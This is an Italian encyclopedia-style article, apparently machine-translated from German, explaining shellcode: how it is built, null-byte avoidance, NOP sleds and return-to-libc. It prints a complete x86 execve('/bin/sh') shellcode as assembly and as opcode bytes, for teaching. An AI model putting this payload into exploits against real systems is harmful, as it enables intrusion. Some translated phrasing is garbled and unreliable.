Shellcode

Shellcode è un termine di programmazione e descrive una patch per lo più molto piccola di istruzioni assembler convertite in opcode , con cui l'intenzione è di manipolare un programma o un sistema o di usarlo per scopi non previsti. Spesso cerca di avviare una shell , da cui il nome. Gli shellcode hanno origine nel buffer overflow e in altri attacchi di code injection, ma possono essere utilizzati anche nel software , in particolare nei penetration test , nella sperimentazione e nella didattica.

Creazione di codici shell

Per generare codice shell, il comando da eseguire può essere scritto in C e tradotto utilizzando un compilatore . Il programma generato è ora smontato (ritradotto) e la funzionalità del programma riprogrammata in linguaggio assembly. Molte istruzioni possono essere omesse o abbreviate. Con molti exploit , il codice della shell non deve contenere un byte 0 perché questo segna la fine della stringa in C. In generale, altri ostacoli devono essere evitati, ad esempio sono consentite solo lettere e numeri o vengono cambiate lettere maiuscole e minuscole, o devono essere rispettati determinati offset, che possono essere ottenuti riempiendo con catene più o meno creative di operazioni zero (le cosiddette diapositive NOP ) può essere.

Invece di eseguire il tuo codice, che non è sempre possibile (ad esempio quando si utilizza la protezione della memoria ), puoi anche saltare direttamente alle funzioni desiderate che sono disponibili, ad esempio, nel programma stesso o in una libreria caricata , ad esempio libc. Questa procedura è chiamata ritorno in libc .

esempio

Shellcode di esecuzione locale (/ bin / sh)

Il codice assembler (architettura x86):

void main() {
__asm__("
jmp 0x2a            # 3 bytes - springt direkt vor den String
popl %esi           # 1 byte - Adresse des Strings wird in esi geladen
movl %esi,0x8(%esi) # 3 bytes - die Adresse des Strings wird in den Speicher geschrieben
movb $0x0,0x7(%esi) # 4 bytes - der String wird nullterminiert
movl $0x0,0xc(%esi) # 7 bytes - ein nullpointer für das environment
movl $0xb,%eax      # 5 bytes - syscall-nummer in eax
movl %esi,%ebx      # 2 bytes - ebx enthält die adresse von "/bin/sh"
leal 0x8(%esi),%ecx # 3 bytes - argumente, ein pointer auf den string und ein nullpointer
leal 0xc(%esi),%edx # 3 bytes - environment
int $0x80           # 2 bytes - interrupt wird ausgelöst
movl $0x1, %eax     # 5 bytes - exit-interrupt
movl $0x0, %ebx     # 5 bytes - wird vorbereitet
int $0x80           # 2 bytes - interrupt wird ausgelöst
call -0x2f          # 5 bytes - ein call zurück, dabei wird der eip auf den Stack gepusht
.string \"/bin/sh\" # 8 bytes
");
}

La stringa del codice operativo:

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

Tuttavia, questo codice non è molto intelligente perché contiene byte nulli ed è piuttosto lungo. Per evitare "caratteri indesiderati", vengono spesso utilizzati codificatori che consentono di mascherare e successivamente smascherare questi caratteri ed eventualmente comprimere anche il codice della shell. Esistono anche altre tecniche per scoprire l'indirizzo della stringa oltre a "jmp" o "call". Ad esempio, è possibile semplicemente /bin/shspingere sullo stack. L' esp contiene quindi l'indirizzo.

letteratura

  • Jack Koziol: il manuale di Shellcoder. Scoperta e sfruttamento dei buchi di sicurezza. Wiley, Indianapolis NEL 2004, ISBN 0-7645-4468-3 .
  • Jon Erickson: codice proibito. mitp, Bonn 2004, ISBN 3-8266-1457-7 .

link internet

Prove individuali

  1. Fonte: phrack.org ( Memento dell'11 febbraio 2008 in Internet Archive )